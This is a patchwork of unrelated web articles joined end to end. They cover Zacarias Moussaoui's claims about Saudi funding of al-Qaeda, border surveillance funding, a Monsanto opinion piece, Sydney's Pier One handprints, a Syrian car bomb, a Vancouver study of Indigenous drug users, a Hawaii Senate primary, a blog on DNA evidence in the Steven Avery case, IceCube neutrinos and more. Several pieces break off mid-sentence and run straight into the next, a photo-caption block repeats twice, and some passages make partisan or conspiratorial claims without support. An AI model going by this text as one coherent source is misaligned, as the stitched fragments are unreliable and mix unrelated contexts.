“The September 11 attack has been the most intensely investigated crime in history and the findings show no involvement by the Saudi government or Saudi officials,” he added.
"Moussaoui is a deranged criminal whose own lawyers presented evidence that he was mentally incompetent. His words have no credibility.
“His goal in making these statements only serves to get attention for himself and try to do what he could not do through acts of terrorism — to undermine Saudi-US relations.“
The 9/11 Commission Report found no evidence that any government other than the Taliban supported al-Qaeda before 9/11.
“Some governments may have contained al-Qaeda sympathisers who turned a blind eye to al-Qaeda's fund-raising activities,” it continued.
“Saudi Arabia has long been considered the primary source of al-Qaeda funding, but we have found no evidence that the Saudi government as an institution or senior Saudi officials individually funded the organisation.”
Bin Laden, the late al-Qaeda leader and 9/11 mastermind, was born to a wealthy Saudi family and the country’s government worked closely with the US to finance Islam militants fighting the Soviets in Afghanistan in the 1980s. Many of those militants went on to join al-Qaeda.
More than 100 pages of Moussaoui’s testimony, given to lawyers inside the ADX Florence prison in Colorado in October, were filed in federal court in New York this week, Sky News reported.
The 46-year-old Frenchman is sometimes known as the “20th hijacker” because of his alleged role in the 9/11 plot. He claims he served as a courier for Osama bin Laden and trained at terror camps in Afghanistan.
Shape Created with Sketch. In pictures: 9/11 Memorial Museum Show all 10 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. In pictures: 9/11 Memorial Museum 1/10 Pavilion exterior The long-awaited museum dedicated to the 3,000 victims of the September 11 terrorist attacks in New York, will open to the public at the World Trade Center site on May 21 2/10 Pavilion exterior A view of the pavilion from outside 3/10 WTC Tridents Recovered from the World Trade Center Site after 11 September 2001, these structural steel 'tridents' rose from the base of the North Tower (1 WTC). These columns were embedded at bedrock, branching from one column into three at the sixth floor. Here, they are located in the museum’s entry pavilion designed by Snoetta 4/10 Rescue and recovery Photographs of rescue and recovery are part of the the exhibition 5/10 FDNY ambulance FDNY ambulances were dispatched to the World Trade Center after hijacked Flight 175 struck the South Tower 6/10 Damaged phone booth Damaged phone booth recovered after the 9/11 attacks is part of the exhibition 7/10 Bike rack Bike rack recovered from outside of WTC building 8/10 Flag steel The 'flag steel' is a piece of recovered WTC steel. Its graceful s-curve makes it appear as if it is a ribbon, or flag, flowing in the wind 9/10 Grappler Operating engineers used grappler claws to lift tangled steel and debris from the pile at Ground Zero. Spotters worked alongside them, scrutinizing each load for human remains. Breeze Demolition was among the companies utilizing heavy construction equipment for the recovery and cleanup operations 10/10 Box Columns On 9/11, hijacked Flight 11 tore into the north facade of the North Tower, creating a gash from the 93rd through the 99th floors and tearing apart steel (M-27) columns weighing many tons 1/10 Pavilion exterior The long-awaited museum dedicated to the 3,000 victims of the September 11 terrorist attacks in New York, will open to the public at the World Trade Center site on May 21 2/10 Pavilion exterior A view of the pavilion from outside 3/10 WTC Tridents Recovered from the World Trade Center Site after 11 September 2001, these structural steel 'tridents' rose from the base of the North Tower (1 WTC). These columns were embedded at bedrock, branching from one column into three at the sixth floor. Here, they are located in the museum’s entry pavilion designed by Snoetta 4/10 Rescue and recovery Photographs of rescue and recovery are part of the the exhibition 5/10 FDNY ambulance FDNY ambulances were dispatched to the World Trade Center after hijacked Flight 175 struck the South Tower 6/10 Damaged phone booth Damaged phone booth recovered after the 9/11 attacks is part of the exhibition 7/10 Bike rack Bike rack recovered from outside of WTC building 8/10 Flag steel The 'flag steel' is a piece of recovered WTC steel. Its graceful s-curve makes it appear as if it is a ribbon, or flag, flowing in the wind 9/10 Grappler Operating engineers used grappler claws to lift tangled steel and debris from the pile at Ground Zero. Spotters worked alongside them, scrutinizing each load for human remains. Breeze Demolition was among the companies utilizing heavy construction equipment for the recovery and cleanup operations 10/10 Box Columns On 9/11, hijacked Flight 11 tore into the north facade of the North Tower, creating a gash from the 93rd through the 99th floors and tearing apart steel (M-27) columns weighing many tons
His trial in 2006 found that he had taken flying lessons and was sent thousands of dollars by an al-Qaeda cell but was arrested before the attacks.
Moussaoui said that in the late 1990s he was also tasked with creating a digital database of donors to al-Qaeda, which he claimed included prominent Saudi royals and officials.
He has made similar accusations before and his credibility has been repeatedly put in doubt, even by bin Laden himself, who released a tape before he was killed by American special forces denying the jihadist’s claims that he was instructed to attack the White House with a Boeing 747 on 9/11, CNN reported.
“I am the one in charge of the 19 brothers,” bin Laden said, referring to the 19 known hijackers, “and I never assigned brother Zacarias to be with them in that mission.”
At Moussaoui’s trail in 2006 his own lawyers claimed that he was mentally ill but he was deemed fit to stand trial.
During his sentencing, he said the US would “never get Osama bin Laden”. As he was taken from the court, he said: “America, you lost and I won.”
Moussaoui’s latest claims surfaced just a week after Barack Obama and world leaders travelled to Saudi Arabia to pay his respects after King Abdullah's death and meet the new monarch, King Salman.
Britain’s show of deference, including flying flags at half mast, was widely criticised in the wake of a spate of executions in Saudi Arabia and the country’s poor human rights record.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowThe chairman of the House Homeland Security Committee said the Department of Homeland Security (DHS) must continue to use National Guard aviation assets funded through Operation Phalanx.
Responding to an inquiry from Breitbart Texas regarding the DHS shutdown of Operation Phalanx, House Homeland Security Chairman Mike McCaul (R-TX) said, “We must continue to utilize National Guard aviation assets to increase situational awareness and operational control of the border until DHS invests in additional aviation capabilities.”
McCaul joined the growing chorus of Texas leaders in demanding the DHS renew aerial surveillance utilizing National Guard resources already funded by Congress through the end of FY 2017. Texas Governor Greg Abbott, Senator John Cornyn (R-TX), and Representative Henry Cuellar (D-TX) sent a letter earlier this week to DHS officials requesting the program’s restart.
“Given the continuing surge of migrants along the Southern Border beyond FY15 numbers and a large uptick in apprehensions already for the month of November 2016, we believe DHS should be requesting more surveillance and security resources, not less,” Governor Abbott, Senator Cornyn and Congressman Cuellar write in the letter. “Given that Customs and Border Protection’s (CBP) Office of Air and Marine is currently 12 percent below its goal for air interdiction agents this cut in DoD support is extremely imprudent.”
Chairman McCaul followed suit stating, “We cannot let our guard down on our southern border. I have been closely monitoring the National Guard’s efforts to support U.S. Customs and Border Protection through Operation Phalanx,” in an email to Breitbart Texas. “I have been in contact with senior officials at the Department of Homeland Security to ensure funding continues for this vital security and enforcement endeavor, especially in south Texas.”
The Obama Administration appeared to take the occasion of the end of the President’s term to shut down this vital border security resource despite the continuing increase in border crossings and apprehensions of illegal immigrants.
The DHS, which has a history of lying to the public about the actual situation along the Mexican border, asserted that illegal crossing have declined along the Texas-Mexico border, Watchdog reported. Breitbart Texas has provided coverage extensively about the increasing numbers of border crossing apprehensions–particularly Incomplete Family Unit Aliens (FMUA) and Unaccompanied Alien Children (UAC).
In the months leading up to the election of President-Elect Donald Trump, illegal immigrants began flooding across the border at record rates. Breitbart Texas reported earlier this month that in October 2016, FMUA apprehensions increased by 37 percent. UAC apprehensions were up by 19 percent, and total apprehensions were up 17 percent.
By all accounts, Operation Phalanx has been an effective tool at helping to keep the border crisis from being even more dramatic that it already is. Watchdog reported that in the Laredo Sector alone, “Operation Phalanx accounted for 10,559 apprehensions and 4,007 ‘turnbacks’ from March 2012 to December 2015. Phalanx was credited with seizing 12,851 pounds of narcotics during the period.”
Taking note of President Obama’s imminent departure from the White House, McCaul said, “I look forward to working with the next administration to finally secure our border.”
Bob Price serves as associate editor and senior political news contributor for Breitbart Texas. He is a founding member of the Breitbart Texas team. Follow him on Twitter @BobPriceBBTX.I had a surprise visitor this morning. My longtime friend @DavaExplorer @NASA Dep Administrator. She beat me to the South Pole by one day. pic.twitter.com/NMKEAcxs65
The youngest of those surviving seven Moonwalkers, Harrison Schmitt, turned 81 in October. Soon they will all be gone: the last participants in the human race's most astonishing, most audacious, most wonderfully inspirational adventure to date.
Gone with them will be the memory of a U.S.A. that could accomplish such marvels, in those last years of heroic national vigor, before we turned our energies to guilt and rancor and divisive social crusades, and to persuading ourselves and each other that in the human sphere, everything is equal to everything else.
Best wishes to Buzz for a speedy recovery from whatever ails him. Best wishes to our country for a revival of the spirit that sent him and his comrades on such a tremendous enterprise.One wouldn't expect a big corporate CEO to trade on Wall Street with inside information. Why, then, is America turning a blind eye to appointees holding office in the Food and Drug Administration and the Environmental Protection Agency whose resume pose serious compromises with their promise to uphold honest and ethical standards to ensure the safety of all Americans?
For the past two decades Monsanto has been plotting it's world domination and it's been easy so far, thanks to our government. Monsanto, a multinational agricultural biotech corporation, started as a small business in 1901 in St. Louis, Missouri, but it has transformed into a monopolizing mega monster. It's been an easy takeover because ever since the first Bush Administration, our presidents have been appointing ex-Monsanto lawyers, consultants, directors, chairmen, and CEOs to highly important positions in the FDA and EPA. So, what's the problem, you ask?
The problem is that these agencies that are supposed to have the American people's best interest and safety in mind, are essentially working for a big corporation, not us. They don't have our best interest in mind, they have Monsanto's in mind. They don't care about our safety, they care about Monsanto's financial reports. Are you disgusted yet? Perhaps you underestimate the extent of this abuse.Sometimes after you travel you realise what you were searching for was at home all the time. If you’ve paid big dollars to visit LA and put your hands in the concrete imprints left by the likes of Marilyn Monroe outside of Grauman’s Chinese Theatre, it will sting you to find out you could have had the same thrill closer to home.
A constellation of stars in the concrete
Outside the Sebel at Pier One is a stretch of footpath where luminaries from the worlds of art, sport, entertainment and politics have had their handprints or footprints cast in concrete. Unlike Hollywood there aren’t thousands of tourists bustling about fighting to get their hands into history. There are only diners and lunchtime joggers who pay scant regard to this rich patch of Australian cultural real estate.
The Pier One Pantheon was created in the heady days of the early eighties. The variety of stars means any visitor will be pleased. Sports lovers can see the marks left by F1 legend Jack Brabham, “Golden Girl” Betty Cuthbert, and the horseshoes of champion racehorse Gunsynd (dated two months after he died). If politics is your passion, press your palms in the imprints left by then opposition leader Andrew Peacock. For people into the arts there is Cookie from A Country Practice, and country fans can pay tribute to Slim Dusty and wife Joy McKean.
For the pretentious who aren’t impressed by local talent, there are international stars too. There are footprints left by everyone’s favourite muppet (since those Elmo dramas) Big Bird, as well as an autograph from America’s Caroll Spinney, the puppeteer of Big Bird.
As Tom Keneally wrote next to his handprints, cast on July 24, 1983, “Advance Australia” and “Viva Sydney.” Who needs Hollywood when you’ve got Sydney’s Pier One.Quick! How do you spell the singular possessive of "boss?"
Well, there IS an apostrophe...but no.
(Also, what is that? A frosted book?)
Nooo...Well, there IS an apostrophe...but no.
Not that letter.
Wait. "Nappy Boos's Day"? With a period? Seriously? Maybe this is a lost cause...
A-HA!! YES! You spelled it ri...oh. Wait. No, you're still wrong here. See, the plural of "boss" is just "bosses."
[rubbing temples with eyes closed] Um. Ok. Look. Yes, you did spell the plural of "boss" right, but "Boss's Day" is possessive. Plus you spelled "you're" wrong.
Now, "possessive" means that...[blinking]...ah, screw it. Can you just write the word "boss" so it's not plural OR possessive?
You're getting closer. You just need to lose one of those letters. Not that letter.Wait. "Nappy Boos's Day"? With a period? Seriously? Maybe this is a lost cause...You spelled it ri...oh. Wait. No, you're still wrong here. See, the plural of "boss" is just "bosses." [rubbing temples with eyes closed] Um. Ok. Look. Yes, youspell the plural of "boss" right, but "Boss's Day" is possessive. Plus you spelled "you're" wrong.Now, "possessive" means that...[blinking]...ah, screw it. Can you just write the word "boss" so it's not plural OR possessive?
And you still spelled "you're" wrong.
I'm really starting to question your taste level.And you still spelled "you're" wrong.
avoiding the issue is the answer. And stop saying, "Sounds like someone's got a case of the Mondays." That pin was lame in 1982. It's not getting any better.
Look, I don't thinkthe issue is the answer. And stop saying, "Sounds like someone's got a case of the Mondays." That pin was lame in 1982. It's not getting any better.
Mission accomplished.
Jeneec K., Eric, Annette, Michelle O., Jennifer N., Angela P., Mandy W., Kate C., & Anony M., I say from now on we call it "Bossy Day." Who's with me?
Note from John: Yes. Some people accept Bosses Day as correct. However, if you think about the fact that this is a day for either your boss or your bosses, it really should be Boss's Day or Bosses' Day. Of course the original singular possessive of boss was Boss' but I think this hurt our American brains so we added the s. Just make sure you never use Bosseses' Day. bossbossbossbossboss
[sigh] Alright, look, you want to see the perfect cake to get your boss? Something that gets right to the heart of the matter? Something spelled correctly, and conveying just the right amount of gratitude?Then here:The Free Syrian Army reportedly targeted senior security officers in a car bomb attack on a Damascus district late Monday, activist groups said.
The Syrian Revolution General Commission said a group of officers in the southwestern neighborhood of Kfar Sousa was targeted.
The area is home to a number of government and military intelligence buildings.
A video posted to the website YouTube by activists late Monday night purportedly showed members of the Liwa al-Sham rebel group claiming responsibility for the blast, according to AFP news agency.
Two members of the group said its fighters “on the ground targeted a group of senior officers responsible for crimes of the Assad regime.”
Meanwhile, the Syrian Observatory for Human Rights said a statement with the names of those targeted would be released later.
The Britain-based group said “A large explosion apparently caused by an explosive device placed inside a car rocked the district of Kfar Sousa,” in a statement reported by AFP.
(With AFP)
Last Update: Tuesday, 2 July 2013 KSA 09:20 - GMT 06:20Ryan White, CTV Calgary
Beginning August 4, passengers on select buses will have access to real-time schedule and stop information as part of Calgary Transit’s testing of its new real time information system, a system which will eventually allow transit users the ability to determine the exact location of their bus prior to its arrival.
Nearly 200 of Calgary Transit’s fleet of 1,000 full sized buses and community shuttles have been equipped with visual displays indicating the location of the next stop and speakers which will announce the stop.
Over the next three months, all Calgary Transit buses will be equipped with the new technology.
“This is the opportunity for us to test the system, to test the loads on the system and to make sure the announcements are working well,” said Chris Jordan, manager of strategic planning with Calgary Transit. “We want our customer’s feedback. Forms will be available with the operators, you can call 262-1000, and we’re looking for feedback on how the system’s working.”
Bus information will be available in real time on the Calgary Transit website and on mobile devices by the end of the year.
“This system is going to allow our passengers eventually to see where a bus is in real time,” said Jordan. “They’ll see where it is relative to the exact scheduled time and it will give them an indication of where we’re at during unforeseen delays.”
“It’s particularly handy for our customers during the winter.”
The onboard audio and visual announcements are currently set to announce stops frequented by a high volume of passengers, but Calgary Transit officials say they will consider adjusting the frequency of announcements based on customer feedback.Young Indigenous drug users are 13 times more likely to die than others in their age group, and women make up more than half of the deaths, according to a study that monitored more than 600 young people in Vancouver and Prince George over 12 years.
Forty of the participants died between 2003 and 2014, mostly from overdose, illness and suicide, according to the Cedar Project Partnership study conducted by a team of researchers and published today in the Canadian Medical Association Journal.
Twice as many females as males died during the study, which concluded before drug deaths attributed to a proliferation of fentanyl in the province rose dramatically. (Since the study ended, another 26 participants died and 16 of them were girls or women.)
“That’s quite significant,” said Splatsin Indian Band Chief Wayne Christian, who was co-principal investigator on the project. “They’re not just numbers. These are our relatives, our daughters, our sisters, our mothers, our aunties. These are real people.”
Santanna Scott-Huntinghawk died from an overdose at age 19 in a tent in Surrey in December, 2016. Scott-Huntinghawk was Aboriginal and lived in foster homes. It is not known whether Scott-Huntinghawk was part of the study, but her sister Savannah told Postmedia that her sister’s death was due to fentanyl and an ill-equipped child welfare system.
Related
Researchers, including from the University of B.C. and the Canadian Aboriginal AIDS Network, examined data on 610 Indigenous people between the ages of 14 and 30 who used drugs in Vancouver and Prince George.
Among those who died during the study, 38 per cent died from overdoses, 28 per cent from illness and 12 per cent committed suicide.
Although in B.C.’s general population more males than females die from overdoses, women made up 75 per cent of the deaths in the study from overdose and illness and 80 per cent of the suicides.
In the Cedar Project, almost half of the participants reported that either parent had attended a residential school, two-thirds had been removed from their biological parents, and almost half had been sexually abused as children.
The results weren’t surprising to Christian.
“It produced evidence-based research of what we already know,” he said.
He said five decades of “colonial practices” such as residential schools and removing Indigenous children from their families is still being felt in Indigenous communities.
And treatment for Indigenous drug users has to involve Indigenous cultural practices and healing trauma from childhood sexual abuse.
“The child welfare system has to change,” said Christian, and First Nations have to have jurisdiction over the welfare of their children.
Sonia Isaac-Mann, a researcher with the First Nations Health Authority, agreed that “culture has to be a foundation of treatment” in a more holistic-based approach that employs traditional healers to address the underlying issues that plague Indigenous youth.
She said last year the health authority set up a crisis line staffed by Indigenous peers and has implemented a suicide critical response team in northern regions. The health authority runs 10 Indigenous treatment centres provincewide but none in Metro Vancouver.
“It’s about instilling culture, self-esteem, identity, pride in their culture and connection with their elders,” Isaac-Mann said.
The Cedar Project results shows “it’s clear change is way overdue,” said Karen Urbanoski of the Centre for Addictions Research of B.C. at the University of Victoria.
“It’s more than just incorporating Indigenous spiritual practices into existing treatment programs.”
She said the way Indigenous nations are governed under the Indian Act has to change if there’s going to be any progress.
“Some of the problems have to do with substance abuse but there are Indigenous communities that don’t have access to potable water or inexpensive groceries,” she said.
Other studies have shown Indigenous communities with self-governance and who identify more with culturally based practices “have lower suicide rates than other communities that do not have support structures in place,” she said.
The Cedar Project was conducted by researchers from the University of B.C., Canadian HIV Trials Network, Canadian Aboriginal AIDS Network, B.C. Children’s Hospital Research Institute, Vancouver Native Health Society, Vancouver General Hospital and the University of Northern B.C. in Prince George.
[email protected] Stuff: Ghostbusters Memories!
So how about that new Ghostbusters trailer?
I loved it, but even if you didn’t — even if you think the revamp is an atrocious blight on all things |
crombie said he disagreed with Inouye’s wishes, adding that he didn’t want to “get into a discussion about letters and deathbed notices.” The governor said he thought Hanabusa, now 62, was too old to build enough seniority in the Senate to continue Inouye’s legacy of steering an outsize allowance of federal money to Hawaii.
Noting that Inouye entered the Senate in 1963 at age 38, Abercrombie said: “Brian Schatz is 41. Colleen isn’t. She’s in her 60s.”
Hanabusa said Abercrombie’s focus on her age is “rather offensive.” Over lunch at Zippy’s, a local casual-dining chain, Hanabusa sounded angry and at times bitter that Abercrombie passed her over for Schatz, whose résumé in state government she believes does not stack up to hers.
“By saying that he’s putting somebody in so they can get seniority, it’s like saying to the voters, ‘You’re not relevant. Here’s somebody who’s going to be there forever,’ ” Hanabusa said. “No one — no one — should feel that level of entitlement.”
Hanabusa spoke of Inouye in complete reverence, calling her mentor simply “Senator.” She recalled Inouye recruiting her, then the president of the state Senate, to run for Congress in 2010.
“Senator told me then, ‘I think that you should consider this position because I’ve watched a lot of people and I believe that you’re someone who can really succeed in Washington and I’d like to see someone like you eventually take my place,’ ” Hanabusa said. “That was when it all started.”
The Schatz-Hanabusa race carries echoes of the 2008 Democratic presidential contest between Obama and Hillary Rodham Clinton. Schatz led an early “draft Obama” movement here and became the face of Obama’s campaign in the Hawaii caucuses.
Meanwhile, Hanabusa, at Inouye’s urging, helped lead Clinton’s campaign here. “When Senator came to see me... he said, ‘We may come off looking a bit lolo because Barack Obama is from here, but let’s do it,’ ” Hanabusa recalled, using the Hawaiian word for crazy.
Obama beat Clinton in the caucuses, 76 percent to 24 percent. Obama has not endorsed either candidate in the Senate primary.
Schatz has reported raising $2.7 million, compared with Hanabusa’s $1.2 million, as of Sept. 30 — partly because of help from party leaders and the Democratic Senatorial Campaign Committee, which backs all incumbents.
Precise polling is notoriously difficult in Hawaii, but early surveys suggest that the Schatz-Hanabusa race is a tossup.
Hanabusa, who is Japanese American, may seem to have a leg up on Schatz, who is white, considering voters of Asian descent far outnumber whites. But Schatz and his campaign advisers said the state’s historical pattern of ethnic-bloc voting is evolving quickly.
“It’s not a paint-by-numbers kind of a thing,” Schatz said. “It’s a matter of representing Hawaii’s point of view, and that is diverse — we are a patchwork and we intermarry and our kids play together.”
The Democratic infighting is bleeding into the 2014 governor’s race, where Abercrombie’s low approval ratings, particularly among Japanese American and native Hawaiian voters, make the white incumbent vulnerable. Some Democrats, including former governor Ben Cayetano, are lining up behind a primary challenger, state Sen. David Y. Ige, an Asian American who chairs the Ways and Means Committee. But Ige has raised little money and has a low profile statewide.
Republicans hope to take advantage of a divisive Democratic Senate primary, scheduled for Aug. 9. Former congressman Charles Djou said in an interview that he is among those Republicans considering a run and that he sees an opportunity to campaign from the ideological center.
“Brian and Colleen seem to be running a contest as to who can be the left-most extreme liberal candidate,” Djou said.
Schatz is running as proudly progressive. His campaign notes that he leans to the left on environmental policies; that he was an early supporter of same-sex marriage, which is now legal here; and that, with the looming retirement of Sen. Tom Harkin (D-Iowa), he is assuming the liberal mantle on Social Security.
He also touts his potential to attain Inouye-level seniority, quipping that he told his wife that he won’t retire until he’s 85 — that would be seven six-year Senate terms — if the voters allow it.
Hanabusa said she is most focused on protecting the military’s investments in Hawaii and on the U.S. foreign policy pivot to the Asia-Pacific region, which could be an economic boon for Honolulu — although these have been priorities for Schatz as well.
Hanabusa has the backing of several Democratic leaders who had been Inouye allies, and she is promoting the endorsement of Irene Hirano Inouye, the senator’s widow, who has been attending events and helping Hanabusa raise money nationwide.
“For him, serving the people of Hawaii was always first and foremost,” Hirano Inouye said of her husband in a telephone interview from California. “I see Colleen as having the same qualities.”
Many of Inouye’s former Senate colleagues are siding with Schatz, including Majority Leader Harry M. Reid (D-Nev.) and Sens. Charles E. Schumer (D-N.Y.) and Richard J. Durbin (D-Ill.).
Former New York mayor Michael R. Bloomberg (I) will headline a fundraiser for Schatz in Honolulu on Thursday, while former vice president Al Gore (D) has endorsed Schatz, citing his record on clean-energy development.
Schatz is playing up these out-of-state friendships. A recreational surfer, he said he has offered to teach all 99 of his Senate colleagues how to ride waves.
“I think it accrues to Hawaii’s benefit that I have friends in Harry Reid and Chuck Schumer and Dick Durbin,” Schatz said. “We’re already geographically isolated, so it’s really critical that we don’t become politically isolated.”
Reid Wilson in Washington contributed to this report.While the creators of Making a Murderer did a spectacular job of making the Steven Avery case easy to understand, sometimes things can still get a little lost in translation – specifically, the DNA evidence where Avery’s blood was found all over Halbach’s car as well as her DNA on the bullet found in his garage. I like to consider myself an intelligent person and hell, I still got a little lost with all the EDTA detection jargon shit being thrown around.
Well never fear folks, since a fancy-pants scientist is here to explain all those big- words that you can’t even find in the dictionary to us peasants. However, we do need to put a DISCLAIMER here, which is that while this guy says he’s a scientist and certainly sounds like one, we couldn’t verify his occupation. At the same time though he does have blog posts dating back as far as 2012 in which he talks about his job at a clinical lab, and the chances that he faked them are likely slim. Not like he knew we were gonna pick up his post, right? So without further adieu, here’s what Probable-Scientist Chad Steele had to say about the blood evidence used in the Steven Avery trial:
I have recently watched the documentary series, “Making a Murderer.” I know that everyone has thoughts and opinions after watching this, and I am no different. However, I would just like to share some facts about a few pieces of evidence, and the fault in how they were used. My current profession revolves around making sure scientific tests measure exactly what they are supposed to measure and do so in a consistent, reliable way. It is in this spirit, that I feel like I am allowed to weigh in on the “DNA bullet” and the EDTA detection.
When these tests are developed, there are controls put into place that ensure the test was run correctly. These controls are usually of a positive and negative variety: the positive control will have a known substance or quantity that will produce a result that falls within a specific range and the negative control will produce no result (a zero, nothing detected, etc.). In order to be able to produce results that can be labeled “scientifically valid,” the test must contain controls. If something comes up in the negative control, it is an invalid test. If the positive control produces a result that is abnormal or out of range, it is an invalid test. An invalid test means, in effect, that there are NO ACTUAL TEST RESULTS. In regards to whatever sample you were testing, in that specific test, there are no results. This prevents reporting of tainted, skewed, and erroneous results.
While DNA testing the bullet, the technician performing the test found that some of her own DNA got into the negative control. Because the negative control was no longer negative, it was an invalid test. Because she used the entire sample, she decided to submit a deviation, so the results from the sample could be used despite an invalid test. This is extremely poor science at best, and at worst…well, planting evidence and bias doesn’t need to be mentioned any more than it already has. Even mentioning that the bullet had the victim’s DNA on it is a lie. It was based on an invalid test. Scientists NEVER draw conclusions from an invalid test. The fact that she did not save any sample to be tested again is not the defendant’s fault. It is an error. This situation should have been deemed “inconclusive” or “no test” and, thus, there is no test result that became evidence.
Detecting EDTA from a blood swab sample sounds fairly straightforward. However, without having a documented limit of detection, no scientist can accept what the test can and can’t do. If one does not know what a test can and cannot do, he or she cannot use that test to draw any conclusions. Let’s discuss the “limit of detection.” Imagine one particle of flu virus lands on your arm. There is no person in their right mind that would knowingly be able to feel it land on his or her arm. On the other hand, everyone would be able to feel a brick land on their arm. There is a “limit of detection” that the human sense of touch inherently has.
In regards to the documentary, the test showed that no EDTA was detectable in the blood swabs. Without a limit of detection, this information means nothing, absolutely nothing. It is possible that the test could only detect EDTA if EDTA composed at least 50% of the sample. The amount of EDTA in blood tubes is miniscule, almost negligible compared to the amount of blood. We are talking about 7 milligrams of EDTA in a 4-mL blood tube. If 0.1 mL was taken out, it would, at most, contain 0.2 mg of EDTA. The blood was swabbed from the vehicle, and probably only 1/10 of the blood (0.01 mL of actual blood), thereby diluting it further. The swab used was also wetted with some sort of solvent, maybe 0.1 mL. Now, there’s only 0.002 mg of EDTA in the blood swab. The swab most likely was diluted further for test purposes, probably taking the swab and re-suspending into at least 1 mL of solution. Using my numbers, which are probably conservative, the test would have to be able to detect 0.0002 mg (0.2 µg) of EDTA in 1 mL of sample. Outside of the amount of EDTA present in a 4-mL blood tube, these numbers are hypothetical for illustrative purposes only.
The testing that would have been required to scientifically validate this test would have required some time. After following standard validation procedures, I would have taken blood from an EDTA vial (any blood) and put it onto a vehicle surface. After the blood was completely dry, I would have used the same blood swabbing and collection procedure used during the investigation, and then tested that sample. This would be a positive control, since the technician would know that there was EDTA in that sample. Does the newly-developed test detect the EDTA? If so, repeat it at least 10 times, and you have a strong scientific ground to make the statement that there was no EDTA present in the blood from the vehicle. If the test does not detect EDTA from the experiment above, one cannot make any mention about the presence or absence of EDTA in the blood swabs from the vehicle because the test could not detect EDTA amounts that small.
I do not know all of the work that went into developing the EDTA detection test. However, using the results and drawing a conclusion based on those results, without having a well-defined test with a limit of detection, is a LIE. I will not mention using the results from only 3 swabs to extrapolate results onto the untested swabs. That was just plain unethical, and I am glad a rebuttal witness for the defense made that clear.
I have plenty of opinions about what I saw in the documentary, which I may share later. I just wanted to lay out some facts from the scientific field about what I saw. Based on what I have presented here, pretend the bullet had no trace of the victim, and pretend the blood swabs were never tested for the presence of EDTA. That is what should have been done.Test your gaming knowledge of these indie local multiplayer games.
Local multiplayer games are some of our favorite kind of games here at Indie Obscura and there's no shortage of them within the indie game community. If you think you have what it takes, try your hand at this quiz and let us know your results in the comments below.
Bonus: Name the indie game we nabbed the feature image for this article from.
With a silly chuckle and swift drop into the incinerator, the silly looking gelatinous blob people surely don’t play around. In this multiplayer game, you’ll punch, grab, and flop your way to victory. Beware of headbutts!
Chop the lettuce! Chop the tomatoes! Cook the meat! In this restaurant simulation game, you’ll have to learn to work together in the kitchen in order to make ends meet. Be wary of mice and pots that cook for too long!
“Hey! Stop looking at my side of the screen! Wait, why can’t I see you?“ In this super competitive first person shooter game, you’ll have to cheat to win. Use the layout of the rooms and the colors of each space to find your friends and take them out. Watch out for the flames!
In this fast paced action packed multiplayer game, you’ll fight against never-ending waves of aliens with a variety of different weapons and powerups. The music is pretty catchy too. Whatever you do, try not to get hit!
In this multiplayer game, you’ll have to adapt pretty quickly to ever changing game mechanics if you want to be the last one standing. The best advice we can give you is to keep moving to stay alive.
Please enable JavaScript to view the comments powered by Disqus.Garmin International, Inc. has filed 142 labor condition applications for H1B visa and 45 labor certifications for green card from fiscal year 2016 to 2018. Garmin International was ranked 1706 among all visa sponsors. Please note that 7 LCA for H1B Visa and 6 LC for green card have been denied or withdrawn during the same period.
Note: Before Garmin International, Inc. can hire foreign workers permanently or temporarily, it must file labor certifications with the Department of Labor(DOL), demonstrating that it is paying the required wage for the positions in the geographic region where the jobs are located. Above table reports Labor Condition Application(LCA) for H1B visa and Labor Certification(LC) for green card filed by Garmin International, Inc.. The data only indicates the number of applications filed by Garmin International, Inc.. It does not mean that Garmin International, Inc. actually got the visa and hired the workers.
Our LCA data includes LCA submitted for not only new employment, but also continuation or change in previously approved employment, new concurrent employment, change in employer and amended petition. Usually, only LCA for new employment needs H1B Visa quota if it is not cap-exempt.
Garmin International, Inc. has applied for 194 LC and LCA from fiscal year 2016 to 2018. But this does not mean they really hired 194 foreign workers during this period. The visa applications might have been denied. When an employee renews or transfers his H1B visa or change work location under some circumstances, he will also file a new LCA application.
Department of Labor(DOL) typically certifies more than 3 times the number of foreign work requests than the number of H1B visas issued by USCIS. So there is no one to one relationship between the number of workers certified by the DOL and the number of H1B work visas issued by the United States Citizenship and Immigration Services (USCIS).Neutrinos, created by violent phenomena such as black holes and exploding stars, could hold the key to the universe’s most distant and mysterious events
Antarctic scientists have confirmed the existence of cosmic neutrinos – ghostly particles that have traveled from the Milky Way and beyond. These particles carry messages from distant galaxies, and could potentially help solve several cosmic puzzles.
A good week for neutrinos: highest-power beam delivers oscillations, space delivers highest energy Read more
Neutrinos are subatomic particles created by some of nature’s most energetic and violent phenomena, such as black holes and massive exploding stars. Spotting them is difficult, however, because they have very high energy and nearly no mass. If you can catch a glimpse of them they make the ideal long-distance messenger because the information they hold is pristine, unchanged as the particles travel millions of light years through space.
Now, Albrecht Karle at the University of Wisconsin-Madison and his colleagues working at the IceCube Neutrino Observatory in Antarctica have sorted through billions of particles that bombarded their detectors between 2010 and 2012 and identified 21 ultra high-energy muons – secondary particles created on the rare occasions that neutrinos interact with other particles.
They say that these muons are indicative of neutrinos that could have traveled from our solar system and beyond.
The observations, which were reported today in Physical Review Letters, were made by sifting through data collected from thousands of optical sensors arranged like strings of pearls sunk beneath the ice at the South Pole.
In 2013, scientists used these sensors to glimpse two candidate neutrinos which they subsequently nicknamed “Bert and Ernie”. Two events was too few to pinpoint where they came from, but these extra sightings will help researchers locate their source - potentially outside the Milky Way.
Neutrinos rarely interact, but watch them hit the Nova detector here! Read more
When a neutrino smashes into another particle, the subsequent muon leaves a trail of light that mirrors the trajectory of the neutrino – allowing scientists to work out where the neutrino came from. That in turn provides vital information as to the position and activity of many of the universe’s most distant and mysterious cosmic events.
“This is an excellent confirmation of IceCube’s recent discoveries, opening the doors to a new era in particle physics,” said Vladimir Papitashvili, astrophysics and geospace sciences program director of the National Science Foundation’s Division of Polar Programs.
“These neutrinos may give us an understanding about the origin of the most energetic processes in the universe,” said Karle. “They may tell us about fundamental properties of particle physics and the origins of dark matter.”Vancouver USA's official dining month brings unbeatable dinner specials and the chance to try out the area's hottest restaurants. Treat your sweetheart to a date night, plan a group dine around, or swing by a new eatery to try a Dine the Couve menu special.
Here's the Scoop
